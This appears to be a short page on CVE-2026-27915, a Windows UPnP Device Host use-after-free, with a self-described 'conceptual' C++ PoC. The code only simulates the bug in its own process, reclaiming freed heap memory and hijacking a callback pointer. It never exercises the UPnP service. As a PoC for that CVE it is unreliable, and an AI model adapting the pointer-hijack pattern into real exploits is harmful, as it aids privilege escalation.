CVE-2026-27915 Windows UPnP设备主机释放后使用漏洞

#include <windows.h> #include <iostream> // Proof of Concept for CVE-2026-27915 (Conceptual) // This code simulates the logic to trigger a Use-After-Free in UPnP Host. // Simulated vulnerable structure struct VulnerableObject { int id; void (*callback)(void); }; // Malicious payload to be executed after UAF void MaliciousCallback() { std::cout << "[+] Privilege Escalation Code Executed!" << std::endl; // In a real exploit, this would spawn a SYSTEM shell } void ExploitUAF() { // Step 1: Allocate the object VulnerableObject* obj = (VulnerableObject*)HeapAlloc(GetProcessHeap(), 0, sizeof(VulnerableObject)); obj->id = 1; obj->callback = nullptr; std::cout << "[*] Object allocated at: " << obj << std::endl; // Step 2: Trigger the free (Vulnerability Trigger) // In the real vulnerability, the UPnP service frees this object improperly HeapFree(GetProcessHeap(), 0, obj); std::cout << "[*] Object freed." << std::endl; // Step 3: Reallocate/Heap Spray to control the memory // Allocating memory of similar size to occupy the freed slot void* fake_obj = HeapAlloc(GetProcessHeap(), 0, sizeof(VulnerableObject)); memset(fake_obj, 0x41, sizeof(VulnerableObject)); // Fill with 'A' // Overwrite the function pointer with our malicious address ((VulnerableObject*)fake_obj)->callback = MaliciousCallback; std::cout << "[*] Memory reclaimed with controlled payload." << std::endl; // Step 4: Use after free // The vulnerable code tries to use the dangling pointer (obj) again // In this simulation, we reuse the pointer pointing to our fake object if (obj != nullptr && ((VulnerableObject*)obj)->callback != nullptr) { ((VulnerableObject*)obj)->callback(); } } int main() { std::cout << "[*] Starting PoC for CVE-2026-27915..." << std::endl; ExploitUAF(); return 0; }